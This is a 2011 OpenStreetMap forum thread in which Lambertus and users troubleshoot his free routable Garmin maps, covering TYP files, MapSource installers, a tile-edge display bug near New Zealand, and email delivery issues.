I'm not a native English speaker though,
You could have fooled me.
- Re: Worldwide routable Garmin maps: URL REMOVED · gnarendran (Gast) · 17.05.2011 07:02 · [flux]
Just wanted to say thank you. I used your routable maps for south india and it works. I cannot type the address, but i can use the cities.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2011 08:15 · [flux]
gnarendran wrote:
Just wanted to say thank you. I used your routable maps for south india and it works. I cannot type the address, but i can use the cities.
Great to hear!
PS. The 'gaps in the map' problem was indeed caused by missing tiles on the servers. Apparently something went wrong during upload with scp (I suspect overloading my server at home with other jobs 😛).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2011 16:08 · [flux]
OliverH wrote:
Judging by my father's experience you could probably make it more clear that there are prebuild maps he doesn't have to wait for.
I've tried to explain the options a bit more clearly. Has it been for the better?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.05.2011 17:13 · [flux]
I have updated the Typ file according to the latest version of mkgmap (1946) as far as the lines and polygons are concerned. I didnt check all the pois, maybe somebody else can do this?
Here you can download it: http://mijndev.openstreetmap.nl/~ligfie … _r1946.zip - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2011 17:52 · [flux]
ligfietser wrote:
I have updated the Typ file according to the latest version of mkgmap (1946) as far as the lines and polygons are concerned. I didnt check all the pois, maybe somebody else can do this?
Here you can download it: http://mijndev.openstreetmap.nl/~ligfie … _r1946.zipCool, so instead of focussing on getting the third server functional, I will now focus on getting this integrated on the country server as that one has the space to host (at least) two different maps for each country.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.05.2011 18:27 · [flux]
I dont think you need a different map for the typ file. If you don't want it, just rename it and it is turned off...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2011 19:21 · [flux]
Ok, I'm not really familiar with TYP files (ok, I'll be honest: I have no experience with them whatsoever 😄), but can you simply rename the TYP file with a gmapsupp.img as well? Isn't the TYP file supposed to be included in the gmapsupp.img? I'm really starting to wonder why someone should provide the TYP file to the Mkgmap commandine if it's just an external file which you can remove without impact....
Background info:
Currently I have added the name of the TYP file to the MD5SUM algorithm which will ensure that country A without TYP file will have a different md5sum then country A with TYP file Z will have a different md5sum then country A with TYP file Y.The md5sum is used for the directory name. Example, the last section of this URL is the md5sum: /~lambertus/garmin/routable/13-05-2011/a824693f08b662ee8ab3e90d08c2ff2f
The md5sum is created from a source string which represents each unique map, i.e. an source string could be: "13-05-2011;Mapnik;63240004;63240354;63240067"Edit: Oh, and is the typ file compiled for the family ID of garmin.openstreetmap.nl?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.05.2011 20:32 · [flux]
Oops, forgot to change the FID, it was FID=2000 PID=3 right?
Well, just renaming is not really working. But with a small batch file which turns it on or off in the windows register it could be done*). To install the TYP file in Mapsource, it has to be added in the windows registery. The gmapsupp it's a different thing, you cannot edit the gmapsupp easily without software like gmaptool. So you either have to deliver gmtl.exe with the gmapsupp (plus a batch file so that someone can change it) or... provide two gmapsupp's ;-)Edit:
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) Another trick is to supply two typ files. One with the mapnik styles, and one empty.typ. The mapnik.typ file will be registered by default during the installation. If someone doesnt want a typ file he can rename the emtpy one mapnik.typ after renaming the mapnik.typ mapnik.bak or so. Or more sophisticated, you can give the user the choice during the installation which one to choose, this could be implemented in the nsis installer.
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) Another trick is to supply two typ files. One with the mapnik styles, and one empty.typ. The mapnik.typ file will be registered by default during the installation. If someone doesnt want a typ file he can rename the emtpy one mapnik.typ after renaming the mapnik.typ mapnik.bak or so. Or more sophisticated, you can give the user the choice during the installation which one to choose, this could be implemented in the nsis installer.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2011 20:38 · [flux]
ligfietser wrote:
Oops, forgot to change the FID, it was FID=2000 PID=3 right?
Yep, that's it.
Well, just renaming is not really working. But with a small batch file which turns it on or off in the windows register it could be done. To install the TYP file in Mapsource, it has to be added in the windows registery. The gmapsupp it's a different thing, you cannot edit the gmapsupp easily without software like gmaptool. So you either have to deliver gmtl.exe with the gmapsupp (plus a batch file so that someone can change it) or... provide two gmapsupp's ;-)
Well, you're too late 😛 The website is already working and suitable for more TYP files to boot 😄 😄
So if you update the TYP file then this can go live this evening.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.05.2011 20:43 · [flux]
Lambertus wrote:
Well, you're too late 😛 The website is already working and suitable for more TYP files to boot 😄 😄
So if you update the TYP file then this can go live this evening.
It's updated.
You can test the empty.typ as well to see if it's working: http://mijndev.openstreetmap.nl/~ligfie … /empty.typ
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.05.2011 21:02 · [flux]
And here is the command to change a typ file in a gmapsupp.img:
user_6635 wrote:
The straight way would be to replace TYP in gmapsupp.img. With GMT it would be like that:
gmt -w -x my_typ.typ gmapsupp.img
This assume that gmapsupp.img already contains a TYP for a map and my_typ.typ has the same FID/PID as a TYP that it replaces.
You can create gmapsupp with double TYP files, but they shouldn't have the same FID. Map will use TYP which has FID like the map itself.
To change FID/PID for TYP inside gmapsupp.img you need to run command like that:
gmt -w -f 500,1 -y 501,1
For command -w option -f means, that gmt should correct only map (TYP file in this case) with FID=500,1, option -y sets new FID for TYP. You will need some fiddling to selectively change FID/PID for 2 TYPs inside gmapsupp.img.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2011 21:20 · [flux]
Thanks, ligfietser.
So I think the website and map generation scripts work well enough for people to test the functionality and see if it works for them. So, i'll put the new website online. Feedback is appreciated....
I'm curious if this functionality will drive other people to create suitable TYP files for different target usergroups which could be added to that drop-down box as well. Yes, this is a call for other TYP files 😉
Note to users: uninstall the previously installed OSM world routable Garmin maps from this site and remove the osm_world_routable directory from c:/garmin/maps (or where you installed the maps previously). Otherwise the typ file will not be loaded.
- Re: Worldwide routable Garmin maps: URL REMOVED · Rogerdodger (Gast) · 17.05.2011 23:00 · [flux]
Lambertus wrote:
Rogerdodger wrote:
Ok I'm not too technical so try to speak in human talk!
Ive been using Lambertus's maps for a while. I have a garmin scx 60 and I'm using mapsource 6-16-3. I have a windows machine that I was using vista, but have upgraded to windows 7. Since then I can load the maps but I get no detail under about 75miles. I'm thinking its a configuration issue but I can't figure out how to fix it. I ran something on windows 7 that was some sort of configuration tool but it said it didn't find any issues.
I'll see if I can post this screen shot.
I've had more reports of people who had problems zooming in, but when I try the same map on my Vista install the problem always disappears when zooming in and out a few times. It seems random and never persistent. Have you tried to clear the map cache (hit ctrl+g twice)?
Tried ctrl+g twice and still nothing.
I posted the problem on another forum. ADVrider.com and someone on there said "Garmin has changed their map rendering and these map sets may not have been updated in a while on Lambertus' site. Or, they need to update their compilers. I have pulled other maps recently and they work fine so I expect it is the NZ maps that are the issue."
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.05.2011 08:29 · [flux]
"Garmin has changed their map rendering"
Yes, they do that with about every update for MapSource. Personally I'm still using 6.13.7 and I don't test against every version of MapSource or various GPS devices, just following the "release early and often" rule.
and these map sets may not have been updated in a while on Lambertus' site.
Nope, these maps are more up to date then most other (non-OSM) map providers.
Or, they need to update their compilers.
Possibly, but I don't recall reading about any changes made to fix MapSource handling on the Mkgmap mailinglist. I'm using a very recent Mkgmap compiler, so if the problem is Mkgmap then there is nothing I can do.
I have pulled other maps recently and they work fine so I expect it is the NZ maps that are the issue."
I think this shows the crux of the problem, but I don't know how to find out what's wrong.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.05.2011 08:48 · [flux]
One thing I have noticed is that the default directory has changed. This was something like osm world routable and now the default dir is "C:\Garmin\Maps\OSM map". It has to do with the changes in the nsis scripting of mkgmap. I havent updated the map since a few months and now I see that the mapsource installer didn't uninstall the previous one because of the changes in the installer.
So maybe in the NZ case there are some leftovers of the old version which needs to be uninstalled first?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.05.2011 08:53 · [flux]
ligfietser wrote:
One thing I have noticed is that the default directory has changed. This was something like osm world routable and now the default dir is "C:\Garmin\Maps\OSM map". It has to do with the changes in the nsis scripting of mkgmap. I havent updated the map since a few months and now I see that the mapsource installer didn't uninstall the previous one because of the changes in the installer.
So maybe in the NZ case there are some leftovers of the old version which needs to be uninstalled first?
Yes, I was just about to comment on this. The NSIS install script from the latest Mkgmap does not use the parameters provided to Mkgmap and thus NSIS always uses "OSM Map" as map name (which I think is a bug). It is therefore more important then ever to remove old maps first before installing the new one and make sure the the registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Garmin\MapSource\Families\OSM world routable" is also removed.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.05.2011 09:09 · [flux]
OSM Map is the standard name if you dont specify one in your settings. It comes from the Family name (in the older installer series-name was used). If you tweek the nsis installer you can also let the installer remove osm world routable if it is already installed.
Edit: maybe you should check this and use your old 'osm world routable' dir name, because if someone makes a mkgmap custom map, it will be installed in the same directory 'osm map' and this can lead to map conflicts too
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.05.2011 09:19 · [flux]
ligfietser wrote:
OSM Map is the standard name if you dont specify one in your settings. It comes from the Family name (in the older installer series-name was used). If you tweek the nsis installer you can also let the installer remove osm world routable if it is already installed.
Thanks for explaining this. To be frank I think its weird...
Imagine you have a range of maps in your portfolio:
Lambertus
-- world routable
-- world topo
-- world seamap
-- Netherlands small tilesThen "lambertus" would be the family name right? And the usual way to differentiate between the range of maps is to use different product id's right? Or should every map have it's own family id/name and each new version of that map a different product id?
Edit: oh, hmm, there's also the series name...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.05.2011 09:33 · [flux]
The way Garmin organises its maps is not so logical as we would like :-/
If you give every new update another PID it will be a mess in the windows register and on your disk with old map remains. Better leave it with the default 2000/3 combination. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.05.2011 09:35 · [flux]
Yes with the series-name you can add the datestamp of the maps now. This will only show up in Mapsource and not in the register or in the default dir name (thats the family-name if I'm correct?). Maybe you could also add the country extract name to the series-name?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.05.2011 09:46 · [flux]
ligfietser wrote:
The way Garmin organises its maps is not so logical as we would like :-/
<cynical mode>No... really??</> 😉
If you give every new update another PID it will be a mess in the windows register and on your disk with old map remains. Better leave it with the default 2000/3 combination.
Yes, that seems wise ...
ligfietser wrote:
Yes with the series-name you can add the datestamp of the maps now. This will only show up in Mapsource and not in the register or in the default dir name
Ok, I'll see if that can be added easilly.
(thats the family-name if I'm correct?).
Afaik: yes.
Maybe you could also add the country extract name to the series-name?
Possibly, but that won't allow you to install more then one country at the same time. So I was thinking about defining a unique family/product id for each country...
- Re: Worldwide routable Garmin maps: URL REMOVED · patmcgroin (Gast) · 19.05.2011 01:33 · [flux]
Does anyone know where I can find or have the directions for loading multiple maps that were on the site before JaVaWa GMTK came out. I have tried to use the program but my Dutch is a little rusty and the google translation is just slightly less confusing. I'm thinking someone has probably asked this before so i apologize. I did a forum search but could not find and answer. Thank you for your help.
- Re: Worldwide routable Garmin maps: URL REMOVED · gspeed (Gast) · 19.05.2011 10:44 · [flux]
Hi - how often the tiles used to generate the country maps (fast to download) are refreshed from OSM? I'm asking this since I updated some streets in OSM afew days ago, they are now available through OSM web interface and I'm wondering if I get my country map today I will get them!
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.05.2011 16:37 · [flux]
patmcgroin wrote:
Does anyone know where I can find or have the directions for loading multiple maps that were on the site before JaVaWa GMTK came out. I have tried to use the program but my Dutch is a little rusty and the google translation is just slightly less confusing. I'm thinking someone has probably asked this before so i apologize. I did a forum search but could not find and answer. Thank you for your help.
Perhaps this tool (MapRenamer) from the same author will help you out 🙂
gspeed wrote:
Hi - how often the tiles used to generate the country maps (fast to download) are refreshed from OSM? I'm asking this since I updated some streets in OSM afew days ago, they are now available through OSM web interface and I'm wondering if I get my country map today I will get them!
Thanks
That would be very nice if the Garmin maps were updated that fast, but unfortunately that isn't the case.
During the last year the maps have been updated approx. once or twice per month but I aim to do it every week and the new servers make that possible. Look at the date listed below the slippy map on the website to see if the map has been updated recently. That date reflects the date at which I started the update. I'm always using the planet dump for a new map version which is usually released on Wednesdays or Thursdays.
So if, for example, the date below the map lists the 14th of May then the data in the maps are from the planet dump released on May 12 or 13. In this particular case edits up to May 11 should be visible in the Garmin maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 22.05.2011 02:37 · [flux]
Regarding the New Zealand problem where the map only shows at certain zoom levels, I too have been frustrated by it since September of last year and I have tried many different downloads but with the same result. I have since been using the NZ OpenGPS Maps and while they have been working fine and will suffice for an upcoming bicycle tour that I am planning for the next NZ summer season, I would prefer to use OpenStreetMap as there is more detail available (minor ferries are missing in NZ OpenGPS).
A thought occurred to me that perhaps the problem is with the eastern edge of the tiles being right at the 180 degree east line. Could you try a build with the tile edge at 179 degrees east and see if that fixes the problem?
Thanks,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 22.05.2011 03:02 · [flux]
Hi again. I just did a test and downloaded the Russian tile that borders the 180 degree East longitude and it exhibits the same behavior as does New Zealand in that I can see the coastline at the 500 km scale but when I zoom in it disappears. However when I select a small piece of coastline and move my mouse over it, it shows the name "Coastline" and names of other details, but not the map itself.
I strongly suggest that it is an edge of the world problem. (Here ye find dragons and other manner of strange beasts!) Perhaps the solution would be to tile to 179 degrees 59 minutes, not 180 degrees.
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.05.2011 09:22 · [flux]
Peter, I've confirmed the problem by just looking at the NZ Auckland tile. It's quite possible that the 180 degree line is the problem, but how and where (i.e. Splitter or Mkgmap). I'll gather some data to test with and write about this to the Mkgmap dev list.
Funny thing is that I can zoom in normally to 100 km, but one step further and the map disappears. Then, if I move the map to the left (i.e. scroll towards the 180 degree line) the map shows up again and when I zoom in again the map disappears again. This process can be repeated a few times more, but you end up looking at the empty ocean off the east-coast of the Northern Island in closeup.
Thanks for your report.
Edit: Ah, now I see. The problem also appears if you zoom in on the western part of the tile. You can keep zooming in as long as you keep a tile edge visible in the screen, but this doesn't apply for the top or bottom tile edge; only the vertical tile edges. As soon as you scroll the left or right tile edge out the window the map disappears.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ecuador Tur (Gast) · 24.05.2011 20:25 · [flux]
I have encountered a problem with a new version of a map for MAPSOURCE. In the original map there are areas where the lines of a border of region collide with the lines of roads. When you convert OSM into MAPSOURCE theese colided road disappear. As a result in last version of map there is a lack of roads, really miss half of all roads.
http://www.openstreetmap.org/?lat=-0.40 … 5&layers=M - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.05.2011 22:29 · [flux]
That is unfortunate. I'm filtering all lower administrative borders from the OSM data (because they clutter the map) for a long time already. But when those lines are also used for roads... I'll have to think about a solution...
- Re: Worldwide routable Garmin maps: URL REMOVED · DBD (Gast) · 26.05.2011 09:42 · [flux]
Thanks for your work Lambertus. I have downloaded a custom map from the tiles covering my area (Canberra, Australia) and installed it via mapsource and then after removing that installation I tried using the version for direct copy to my Garmin directory on my device (Garmin Edge 800). Both times the map installed and appears on my device and is enabled but when I try to navigate with the device I get an error message telling me that there are no routable roads in my area. Could this be true? Any known issues with some Garmin devices such as Edge 800? Any suggestions?
thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.05.2011 10:01 · [flux]
I've downloaded and installed the Canberra tile in MapSource and I can route across Canberra just fine. Can you post the link to your custom map download?
- Re: Worldwide routable Garmin maps: URL REMOVED · DBD (Gast) · 26.05.2011 10:13 · [flux]
Lambertus wrote:
I've downloaded and installed the Canberra tile in MapSource and I can route across Canberra just fine. Can you post the link to your custom map download?
the link emailed to me is
<http://osm.pleiades.uni-wuppertal.de/ga … 7b064b73b2>
I have also tried downloading and copying to my device the NSW maps (which cover Canberra) from
http://www.osmaustralia.org/garmin.php
but I have the same problem. The maps are on the device and enabled but if I attempt to navigate with my Edge 800 I get the error message that there are no routable maps in my area. The Edge 800 is fairly new release and the cynic in me wonders if Garmin has made it less than perfect with maps it does not sell.
Of course before I try another osm map I remove any previous one from the device.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.05.2011 10:42 · [flux]
I've downloaded the osm_routable_mapsource.exe from the link you provided and Canberra and a few other tiles are missing:
Can you try to download the Australia map (from the pull-down menu's)? It works fine for me in MapSource.
- Re: Worldwide routable Garmin maps: URL REMOVED · DBD (Gast) · 26.05.2011 11:08 · [flux]
You are a legend and I'm a goose. I read all the instructions and still managed to download the entire Australian land mass EXCEPT my area. I've downloaded just my area and yes, it works!! I've spent days on this. It's cold and dark outside just now but I'm so tempted to jump on my bike and do a route. Thanks again so much for your help.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.05.2011 11:31 · [flux]
Great, enjoy the maps! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 02.06.2011 02:37 · [flux]
Lambertus wrote:
Perhaps this tool (MapRenamer) from the same author will help you out 🙂
MapRenamer isn't available anymore, there is an English version of JaVaWa GMTK now.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.06.2011 09:56 · [flux]
That's great! I'm sure this will help a lot of people.
- Re: Worldwide routable Garmin maps: URL REMOVED · DBD (Gast) · 04.06.2011 10:38 · [flux]
Hi Lambertus
Sorry if you have been all thru this before but I'm confused.
I can pick a country and download osm_routable_gmapsupp.zip. I can extract the file and add it to the Garmin directory on my Edge 800 or on its SD card and it works fine. I want to download two other countries I will be riding through soon. There can only be one gmapsupp.img of course. Can I just rename them France.img, Switzerland.img, Austria.img and all will work or do I have to somehow use JaVaWa to change the names so the maps will work seemlessly? If I need to use JaVaWa the maps need to be installed on my computer first so I guess I need to download the osm_routable_mapsource.exe files for each country, install them in mapsource and then use JaVaWa to rename them. Is this correct?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.06.2011 12:30 · [flux]
DBD wrote:
Hi Lambertus
Sorry if you have been all thru this before but I'm confused.
I can pick a country and download osm_routable_gmapsupp.zip. I can extract the file and add it to the Garmin directory on my Edge 800 or on its SD card and it works fine. I want to download two other countries I will be riding through soon. There can only be one gmapsupp.img of course. Can I just rename them France.img, Switzerland.img, Austria.img and all will work or do I have to somehow use JaVaWa to change the names so the maps will work seemlessly?
No, because most of the simpler GPS's only recognise one img and that's "gmapsupp.img". You need to merge the different maps together into one gmapsupp.img and upload that to the GPS. Only renaming won't help.
If I need to use JaVaWa the maps need to be installed on my computer first so I guess I need to download the osm_routable_mapsource.exe files for each country, install them in mapsource and then use JaVaWa to rename them. Is this correct?
Almost. Install a country map and rename it (change the product id too). Install a second map and do the same. Repeat until you have all the maps installed. Run MapSource and select all the tiles from the different maps and have MapSource merge them into a gmapsupp.img and upload it to the GPS.
Btw, there are other methods too (e.g. using MapSend or Mkgmap).
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 08.06.2011 21:33 · [flux]
Lambertus,
You recently changed the update cycle to weekly, I seem to remember. The last update now was 31/5. Have you changed the update cycle again?
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.06.2011 21:42 · [flux]
Well, I'm trying to do a weekly update so it's not that the updates will be exactly on schedule every week. 😉
The cause of this weeks delay perhaps a bit silly, but we have had some thunderstorms lately (also at night when I run the update mostly) and I have twice experienced a strike that destroyed my electric inventory (only an old bedside alarmclock survived both impacts) so I'm a bit paranoid when it comes to that. I don't want to risk my shiny new Core i5 system. Anyway, the weather is better again so I'll run upstairs now to start a new update.
There's a new trick this time: I've updated the scripts to use Osmosis to update an older planet with changesets instead of downloading the entire planet everytime. So, in theory, I could start an update every day now instead of needing 4 days. I won't do that, but at least I can start an update any day and have the latest data available.
Also, the planet file is in PBF format which is handled more quickly then the usual XML format and together with the new machine the setup can churn out an update in a day. Most of the time is now needed for uploading the update to one of the servers (over a 1 Mbit ADSL connection), it takes about 15 hours....
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 08.06.2011 21:51 · [flux]
Thanks for the info. Not silly at all, you don't want to risk your $$$ when you can safely do it another time.
What surprises me is that you don't run the update processing on the servers. You do this at home? I always thought that this part was automated on the server.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.06.2011 22:00 · [flux]
Beddhist wrote:
What surprises me is that you don't run the update processing on the servers. You do this at home? I always thought that this part was automated on the server.
Pre-processing has always been at home. The first server never had the disk space, memory or computing power to do an update while rendering maps for users at the same time. It came not even close.
With the arrival of the extra server (and hopefully yet another one later) this situation hasn't really changed: disk space and computing power is now plenty available but it's still not possible to run an update while at the same time producing maps due to memory restrictions (you'd need about 8GB ram to do that, at least more then 4), even though some of the tools like Splitter have become more memory friendly. Some of the larger user requested maps easily use 3 GB ram while combining the gmapsupp.img.
It's possible though that, with a bit of management, the map update could run on one of the servers. I must add that I haven't really looked at optimising things for such a situation.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.06.2011 09:47 · [flux]
Update:
The custom map server is now able to process multiple requests at the same time. The server has a quadcore CPU and till now the map generation speed was limited by the speed of a single CPU core processing a single request at the time. Now up to three requests are being rendered at the same time. This should reduce the queue on the custom map server even more and is now mostly restricted to the available disk space (if there isn't enough free disk space the processing stops until enough disk space is available again).
Unfortunately, while making this possible, I introduced a bug in the last version just before going to bed the evening before yesterday. And it happened that this bug was rather nasty: the same request was being processed by ever more threads. As you can imagine, system memory ran out quickly and the whole server stopped dead in it's track. It even managed to corrupt the filesystem.
The next day I discovered that the server didn't respond anymore, so I emailed the administrator to ask what was going on and he told me there was some process eating all the memory....uh oh... you can imagine I got a nasty taste about that last update when he said that...
On top of that pressure at work was severely mounting so I couldn't do anything while being there. So late yesterday evening I was finally able to stop the processing and fix the bug after the server was rebooted once more.
See the Munin screenshot below which shows the number of simultaneously running processes on the server:
Now there is probably one person in the world that I owe a very big apology. The bug probably caused the server to send a heck of a lot of emails to one email address telling that the map was ready over and over again. Unfortunate person, if you read this: I'm very sorry!
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.06.2011 10:55 · [flux]
Hey Lambertus,
Shit happens. I for one appreciate what you do for us. A big thank you.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.06.2011 12:00 · [flux]
Beddhist wrote:
Hey Lambertus,
Shit happens. I for one appreciate what you do for us. A big thank you.
Regards,
Peter.Thanks Peter, but I still feel sorry for the person who got loads of the same email, perhaps more then 1000.
Anyway, a new map update is available....
- Re: Worldwide routable Garmin maps: URL REMOVED · hareti (Gast) · 15.06.2011 19:49 · [flux]
Hi Lambertus, an extremely useful site, thanks for the time and effort.
I am interested in the "styles" files you are using to generate the maps. Specifically the lines file. I like the way your style groups the smaller roads (tracks, paths, unpaved roads, etc) so that they are easy to see and follow on the GPS. The style I have keeps all these attributes so that the smaller tracks tend to have gaps in them depending on the zoom level. My tweaking of the lines file is only making it worse so far. Would you be prepared to share yours or give me some pointers in this regard?
Best regards,
Hareti
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.06.2011 20:49 · [flux]
There is nothing special going on, I'm using the default style file that comes with Mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · castellum (Gast) · 16.06.2011 15:02 · [flux]
I did not use the OSM for quite some time.
LAst week I tried downloading some Slovenian maps for my Garmin. (Using the manual selection)
I did not receive the confirmation mail, nor the map info.I have switched of the SPAM filtering but this did not help either.
Is there anything I can have done wrong?
Kind regards
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.06.2011 19:20 · [flux]
Some technical problems (i.e. programming errors) manifested last week so it's probably best if you request your map again. Please contact me again if the problem persists.
- Re: Worldwide routable Garmin maps: URL REMOVED · castellum (Gast) · 16.06.2011 19:29 · [flux]
I Tried this morning and I Just Tried again.
I get this statement
Gui wrote:
You will receive two emails:
One email containing a link to a webpage where you can track the status of your request which will be sent immediately.
One email containing the download location for the MapSource installer, RoadTrip installer and gmapsupp.img when the server has processed your request.
There are currently 60 requests in the queue...The email containing the tracking URL is successfully sent.
But I never get any Email
Kind regards
PS:
It is a grate site though - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.06.2011 19:38 · [flux]
Hmm, I just tried and get the confirmation email within a minute so it's most probably a problem on your side. Have you tried with another email address? Checked your spam folder?
- Re: Worldwide routable Garmin maps: URL REMOVED · castellum (Gast) · 17.06.2011 09:30 · [flux]
I did a check with my provider.
It appears that I use SAV. (sender adress verification) You seem to use a non existing "from"
Since this blocks a lot of SPAM I would like to keep that.I assume other users will have the same problem with this.
Maybe you could introduce an existing No-reply@.. address.Kind regards
Menno - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.06.2011 10:08 · [flux]
castellum wrote:
I did a check with my provider.
It appears that I use SAV. (sender adress verification) You seem to use a non existing "from"
Since this blocks a lot of SPAM I would like to keep that.I assume other users will have the same problem with this.
Maybe you could introduce an existing No-reply@.. address.Thank you for this information. The From address does really exist (lot's of people reply to the email asking questions) but the hostname of the server that sends the email differs from the address that people should reply to, so I've now changed the From header to the sender email address (the custom map server) and added a new Reply-To header.
Can you check if this works for you?
- Re: Worldwide routable Garmin maps: URL REMOVED · castellum (Gast) · 19.06.2011 15:44 · [flux]
Hi Lambertus,
I sent you an E-mail with some info.
Did you receive this?
It does not work jet.Kind regards
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.06.2011 16:46 · [flux]
Yes, sorry for not responding yet. I'm uncertain how to proceed to solve this and are looking around for a solution. I will come back to you whether I find a solution or not.
- Re: Worldwide routable Garmin maps: URL REMOVED · castellum (Gast) · 20.06.2011 16:31 · [flux]
No problem.
for myself I know how to solve it.
Just temporarily switch off the SAV control If I want to download.Kind regards
- Re: Worldwide routable Garmin maps: URL REMOVED · castellum (Gast) · 24.06.2011 17:53 · [flux]
No problem.
for myself I know how to solve it.
Just temporarily switch off the SAV control If I want to download.Kind regards
- Re: Worldwide routable Garmin maps: URL REMOVED · Emeraldboy (Gast) · 25.06.2011 13:12 · [flux]
Hello Lamertus, Many thanks for your great service. I have just come back from holiday in Turkey, Dalaman to Antalya area. We covered 700 miles. I used your maps and they were great. The only problem I encountered was Mapsource was not able to calculate a route between two points using roads except very short routes. It just produced a straight line. I had to create waypoints, tranfer these to my gps (Garmin Quest) and get the gps to do the route calculation. I am using Ver. 6.13.7 Mapsource. Have I read somewhere that Ver. 5.?? works better? Thanks again. Regards. Chris.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.06.2011 20:54 · [flux]
I've uploaded the Turkey map to my GSPmap60CSx, created a new route between the places Dalaman and Antalya, enabled demo mode and routing went fine (using the D400 highway for most of the trip). The same worked find in MapSource. I do notice that most streets in Antalya don't have a name yet, but that doesn't matter in this case.
No idea if it's the GPS difference (Quest vs GPSmap60) or some settings.
In this test I used MapSource 6.16.3. I never heard about a MapSource 5.x version let alone that it is better then 6.x so my advice would be to stick with 6.x.
- Re: Worldwide routable Garmin maps: URL REMOVED · Henrik B (Gast) · 28.06.2011 08:00 · [flux]
Hello !
I would like a complete EUROPE map with a "osm_routable_mapsource.exe" file for MapSource, but i can´t download all Tiles in one file.
Has anyone made that file, or what do i do ?
Anyone ?
B.rgds.
Henrik
Denmark - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 28.06.2011 17:06 · [flux]
Hi Henrik,
I suggest you download the tiles for the countries only. You can then use MapSetToolKit to install them into MS.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Henrik B (Gast) · 28.06.2011 20:28 · [flux]
Peter >> Yep.. but i can´t make cross-border routes with each country in seperate files.... :-(
Henrik B
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 28.06.2011 21:09 · [flux]
Tiles should have unique 8 digit names. See if you can get MapSetToolKit to give the same Product Name and 4 digit FID to each mapsets. If that doesn't work use mkgmap to create a TDB file for all IMG files.
- Re: Worldwide routable Garmin maps: URL REMOVED · error68 (Gast) · 30.06.2011 17:53 · [flux]
Hello,
I downloaded a few tiles from california.
I can install, see all details in mapsource and download easy to my nüvi2360.In mapsource I can see all streets and details, select country and city, but when searching for a street, it tells me that the street is not valid in this map-product, even if I see it in the list and in the map.
Inside the GPS, the map is visible and selectable from the cards menue.
If both city navigator (installed Europe) and OSM map (California) are selected, I can not enter "USA" or alike in the "country" field - only european countries are available. If I deselect the citiy navigator map, the device tells me that no map is available.
I am sure the map is installed, but I have no clue how to access and use it.Retried few days later with a single tile containing San Francisco, same behavior.
I searched a lot but was not able to find a similar post here or in other forums. Do you have a clue?
Thank you for the great service and regards.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.07.2011 08:50 · [flux]
I installed California in MapSource and searched for a few streets and every one of them worked well. Can you provide a streetname and cityname so that I can try to replicate the problem?
But unfortunately address search is still very problematic. On some older devices things work a bit better then the newer (e.g. Nuvi's) but still not perfect. Improving this has been a slow process and there is not much I can do about that.
See e.g. Mkgmap wiki page and the Mkgmap mailinglist
The main changes since 1625 are:
Continued improvements in the polygon / relation support
Command line options are now checked.
Lots of bug fixes and improvements.Major things missing/broken
